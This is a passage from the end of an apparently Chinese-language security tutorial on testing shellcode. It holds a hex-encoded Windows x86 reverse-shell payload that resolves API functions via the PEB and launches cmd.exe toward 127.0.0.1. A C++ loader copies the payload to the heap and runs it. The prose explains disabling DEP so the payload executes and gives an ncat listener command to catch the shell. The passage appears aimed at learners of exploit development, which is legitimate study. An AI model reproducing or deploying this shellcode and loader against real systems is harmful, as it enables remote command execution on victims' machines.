        "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
        "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
        "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
        "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
        "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
        "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
        "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
        "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
        "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
        "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
        "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
        "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
        "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
        "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
        "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
        "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
        "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
        "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
        "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
        "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
        "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
        "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
        "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
        "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
 
    static_assert(sizeof(shellcode) &gt; 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')");
 
    // We copy the shellcode to the heap so that it's in writeable memory and can modify itself.
    char *ptr = new char[sizeof(shellcode)];
    memcpy(ptr, shellcode, sizeof(shellcode));
    ((void(*)())ptr)();
}
</code></pre>

<p>此时需要关闭DEP（<code>Data Execution Prevention</code>)来让该段代码成功地被执行，通过<code>Project→&lt;solution name&gt; Properties</code> 然后在 <code>Configuration Properties</code>下, <code>Linker and Advanced</code>, 将 <code>Data Execution Prevention</code> (DEP) 设为 <code>No (/NXCOMPAT:NO)</code>。因为<code>shellcode</code>将会在堆中被执行，所以开启了<code>DEP</code>会导致<code>shellcode</code>无法被执行。</p>

<p><code>C++11</code> (因此需要<code>VS 2013 CTP</code> )标准中介绍了<code>static_assert</code> ，使用如下语句来检查</p>

<pre><code>char shellcode[] = "..."
</code></pre>

<p>而不是</p>

<pre><code>char *shellcode = "..."
</code></pre>

<p>在第一个案例中，<code>sizeof(shellcode)</code>表示<code>shellcode</code>的有效长度，此时<code>shellcode</code>已经被复制到栈上了。在第二个案例中，<code>sizeof(shellcode)</code> 只是表示指针<code>(i.e. 4)</code>的大小，并且该指针指向在<code>.rdata</code>节中的<code>shellcode</code>。</p>

<p>可以打开<code>cmd shell</code>来测试<code>shellcode</code>：</p>

<pre><code>ncat -lvp 123
</code></pre>

<p>接着运行shellcode并观察它是否被成功执行。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          